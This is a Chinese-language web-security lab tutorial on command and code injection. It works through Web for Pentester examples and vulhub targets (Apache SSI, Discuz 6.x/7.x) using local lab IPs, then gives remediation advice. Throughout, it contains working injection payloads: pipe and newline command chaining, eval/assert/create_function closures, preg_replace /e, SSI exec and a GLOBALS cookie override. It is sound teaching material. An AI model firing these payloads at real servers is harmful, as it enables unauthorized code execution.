[紅日安全]Web安全Day13 - 命令執行實戰攻防

#1. 命令執行&代碼執行概述

1.1 命令執行漏洞原理

在操作系統中,“&、|、||”都可以作爲命令連接符使用,用戶通過瀏覽器提交執行命令,由於服務器端沒有針對執行函數做過濾,導致在沒有指定絕對路徑的情況下就執行命令

1.2 代碼執行漏洞原理

應用有時需要調用一些執行系統命令的函數,如PHP中的system、exec、shell_exec、passthru、popen、proc_popen等,當用戶能控制這些函數中的參數時,就可以將惡意系統命令拼接到正常命令中,從而造成命令執行攻擊,這就是命令執行漏洞。

1.3 命令執行與代碼執行漏洞區別

命令執行漏洞是可以直接調用操作系統命令,代碼執行漏洞是靠執行腳本代碼調用操作系統命令

1.4 命令執行&代碼執行漏洞危害

可以執行代碼、系統命令進行讀寫文件、反彈shell等操作,拿下服務器,進一步內網滲透等等。

2.漏洞測試

2.1 靶機測試

這裏我們使用web for pentester進行測試

2.1.1 安裝步驟

下載地址:https://download.vulnhub.com/pentesterlab/web_for_pentester_i386.iso
我們只需要VMware安裝鏡像文件即可使用
新建虛擬機
在這裏插入圖片描述
默認下一步
在這裏插入圖片描述
選擇鏡像文件
在這裏插入圖片描述
設置虛擬機名稱和存放位置
在這裏插入圖片描述
磁盤大小默認即可
在這裏插入圖片描述
開啓此虛擬機
在這裏插入圖片描述
查看ip地址
在這裏插入圖片描述
搭建成功,這裏用Commands injection、Code injection做演示
在這裏插入圖片描述

2.1.2 Commands injection Example 1

從代碼可以看出未做過濾

<?php
  system("ping -c 2 ".$_GET['ip']);
?>

使用|連接符跟上要執行的命令
http://192.168.245.131/commandexec/example1.php?ip=127.0.0.1 | whoami
在這裏插入圖片描述

2.1.3 Commands injection Example 2

從代碼可以看出使用/m,/m只匹配一行,所以可以使用換行符繞過

<?php
  if (!(preg_match('/^\d{1,3}\.\d{1,3}\.\d{1,3}.\d{1,3}$/m', $_GET['ip']))) {
     die("Invalid IP address");
  }
  system("ping -c 2 ".$_GET['ip']);
?>

使用%0a進行繞過
http://192.168.245.131/commandexec/example2.php?ip=127.0.0.1%0awhoami
在這裏插入圖片描述

2.1.4 Commands injection Example 3

進行了限制,但是有重定向

<?php
  if (!(preg_match('/^\d{1,3}\.\d{1,3}\.\d{1,3}.\d{1,3}$/', $_GET['ip']))) {
     header("Location: example3.php?ip=127.0.0.1");
  }
  system("ping -c 2 ".$_GET['ip']);

?>

抓包看,可以執行成功
在這裏插入圖片描述

2.1.5 Code injection Example 1

未做過濾,可以進行閉合觸發漏洞。

<?php 
  $str="echo \"Hello ".$_GET['name']."!!!\";";

  eval($str);
?>

http://192.168.245.131/codeexec/example1.php?name=%22;phpinfo();//
在這裏插入圖片描述

2.1.6 Code injection Example 2

create_function類似於function test($args){方法代碼部分},然後通過閉合

<?php
class User{
  public $id, $name, $age;
  function __construct($id, $name, $age){
    $this->name= $name;
    $this->age = $age;
    $this->id = $id;
  }   
}
  require_once('../header.php');
  require_once('../sqli/db.php');
   $sql = "SELECT * FROM users ";

   $order = $_GET["order"];
   $result = mysql_query($sql);
  if ($result) {
      while ($row = mysql_fetch_assoc($result)) {
      $users[] = new User($row['id'],$row['name'],$row['age']);
    }
    if (isset($order)) { 
      usort($users, create_function('$a, $b', 'return strcmp($a->'.$order.',$b->'.$order.');'));
    }
   }   

      ?>
      <table class='table table-striped' >
      <tr>
         <th><a href="example2.php?order=id">id</th>
         <th><a href="example2.php?order=name">name</th>
         <th><a href="example2.php?order=age">age</th>
      </tr>
      <?php

    foreach ($users as $user) {  
         echo "<tr>";
             echo "<td>".$user->id."</td>";
             echo "<td>".$user->name."</td>";
             echo "<td>".$user->age."</td>";
         echo "</tr>";
      }  
      echo "</table>";
  require '../footer.php';
?>

http://192.168.245.131/codeexec/example2.php?order=id);😉}phpinfo();//
在這裏插入圖片描述

2.1.7 Code injection Example 3

preg_replace(pattern,replacement,subject):搜索subject中匹配pattern的部分,以replacement進行替換;當pattern是/e將會以PHP執行replacement中的代碼。

<?php
   echo preg_replace($_GET["pattern"], $_GET["new"], $_GET["base"]);
?>

http://192.168.245.131/codeexec/example3.php?new=phpinfo()&pattern=/lamer/e&base=Hello%20lamer
在這裏插入圖片描述

2.1.8 Code injection Example 4

僅去除收尾的空白字符,進行閉合即可

assert(trim("'".$_GET['name']."'"));
echo "Hello ".htmlentities($_GET['name']);

http://192.168.245.131/codeexec/example4.php?name=%27.phpinfo();//
在這裏插入圖片描述

2.2 實戰演練

這裏使用vulhub一鍵搭建漏洞測試靶機

2.2.1 vulhub安裝

使用的系統:kali
(1)安裝docker

sudo apt install docker.io

(2)安裝docker-compose

pip install docker-compose

(3)查看docker-compose是否安裝成功

docker-compose -v   有返回則說明安裝成功

(4)下載vulhub

git clone https://github.com/vulhub/vulhub.git

(5)添加國內鏡像

修改或創建配置文件
vim /etc/docker/daemon.json 

內容格式:
{
  "registry-mirrors": ["<your accelerate address>"]
}

常見的國內加速站點(添加其中一個即可)
https://registry.docker-cn.com
http://hub-mirror.c.163.com
https://3laho3y3.mirror.aliyuncs.com
http://f1361db2.m.daocloud.io
https://mirror.ccs.tencentyun.com

添加好之後重啓服務
service docker restart

2.2.2 Apache SSI 遠程命令執行漏洞

在測試任意文件上傳漏洞的時候,目標服務端可能不允許上傳php後綴的文件。如果目標服務器開啓了SSI與CGI支持,我們可以上傳一個shtml文件,並利用語法執行任意命令。

service docker start    啓動docker
cd httpd/ssi-rce/   進到靶機環境目錄
docker-compose up -d     構建環境

在這裏插入圖片描述
訪問kali的ip8080端口

這裏我們是無法上傳正常的PHP,所以就上傳個構造好的shtml文件
在這裏插入圖片描述

<!--#exec cmd="whoami" -->

上傳後,訪問
在這裏插入圖片描述
在這裏插入圖片描述

2.2.3 Discuz 7.x/6.x 全局變量防禦繞過導致代碼執行

由於php5.3.x版本里php.ini的設置裏request_order默認值爲GP,導致REQUEST_REQUEST中不再包含_COOKIE,我們通過在Cookie中傳入$GLOBALS來覆蓋全局變量,造成代碼執行漏洞。

cd discuz/wooyun-2010-080723/    進到靶機環境目錄
service docker start    啓動docker
docker-compose up -d    構建環境

在這裏插入圖片描述
啓動好後,訪問http://your-ip:8080/install/來安裝discuz
在這裏插入圖片描述
數據庫地址填寫db,數據庫名爲discuz,數據庫賬號密碼均爲root
在這裏插入圖片描述
安裝好後隨便訪問個帖子,並抓包。
把cookie進行替換

GLOBALS[_DCACHE][smilies][searcharray]=/.*/eui; GLOBALS[_DCACHE][smilies][replacearray]=phpinfo();

在這裏插入圖片描述

3. 修復方案

3.1 命令執行修復方案

3.1.1 儘量少用執行命令的函數或者直接禁用

3.1.2 參數值儘量使用引號包括

3.1.3 在使用動態函數之前,確保使用的函數是指定的函數之一

3.1.4 在進入執行命令的函數/方法之前,對參數進行過濾,對敏感字符進行轉義

3.1.5 能使用腳本解決的工作,不要調用其他程序處理。儘量少用執行命令的函數,並在disable_functions中禁用

3.1.6 對於可控點是程序參數的情況下,使用escapeshellcmd函數進行過濾,對於可控點是程序參數值的情況下,使用escapeshellarg函數進行過濾

3.1.7 參數的值儘量使用引號包裹,並在拼接前調用addslashes進行轉義

3.1.8 對由特定第三方組件引發的漏洞,我們要做的就是及時打補丁,修改安裝時的默認配置。

3.2 代碼執行修復方案

3.2.1 能使用json 保存數組、對象就使用json,不要將php對象保存成字符串,否則讀取的時候需要使用eval。將字符串轉化爲對象的過程其實是將數據轉化爲代碼的過程,這個過程很容易出現漏洞,像php的unserialize 導致代碼執行、struts2的ognl 命令執行等漏洞都是這個過程導致的。

3.2.2 對於必須使用eval 的情況,一定要保證用戶不能輕易接觸eval 的參數(或用正則嚴格判斷輸入的數據格式)。對於字符串,一定要使用單引號包裹可控代碼,並再插入前進行addslashes,這樣就無法閉合單引號,又因爲不是雙引號包裹,故不能執行 ${} 。

evil(’phpinfo())evil("phpinfo()")evil("{phpinfo()}')、evil("phpinfo()") 等都不會執行, evil("{phpinfo()}")、evil(phpinfo())、evil(${@phpinfo()}) 都可以執行,因爲雙引號裏面內容會被當作變量解析一次,函數前加 @ 表示執行函數時不報錯。
data=addslashes(data = addslashes(data);eval("$data = deal(’$data’);");

3.2.3 放棄使用preg_replace 的e修飾符,而換用 preg_replace_callback 替代。如果非要使用preg_replace的e模式的話,請保證第二個參數中,對於正則匹配出的對象,用單引號包裹。

3.2.4 確保register_globals = off, 若不能自定義php.ini,則應該在代碼中控制;其次,熟悉可能造成變量覆蓋的函數和方法,檢查用戶是否能控制變量的來源;最後,養成初始化變量的好習慣。

3.2.5 能夠往本地寫入的函數都需要重點關注,如 file_put_contents(), fwrite(), fputs() 等。

3.2.6 在自動化漏洞檢測中可以 直接帶入類似 “;print(md5(test));$a=” ,匹配返回頁面是否有 md5 字符串。

4. 參考文章

https://www.freebuf.com/column/154670.html
https://vulhub.org/#/docs/
https://vulhub.org/#/environments/httpd/ssi-rce/
https://vulhub.org/#/environments/discuz/wooyun-2010-080723/
https://github.com/cnonce/MiscSecNotes/blob/master/命令執行/命令執行.md

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章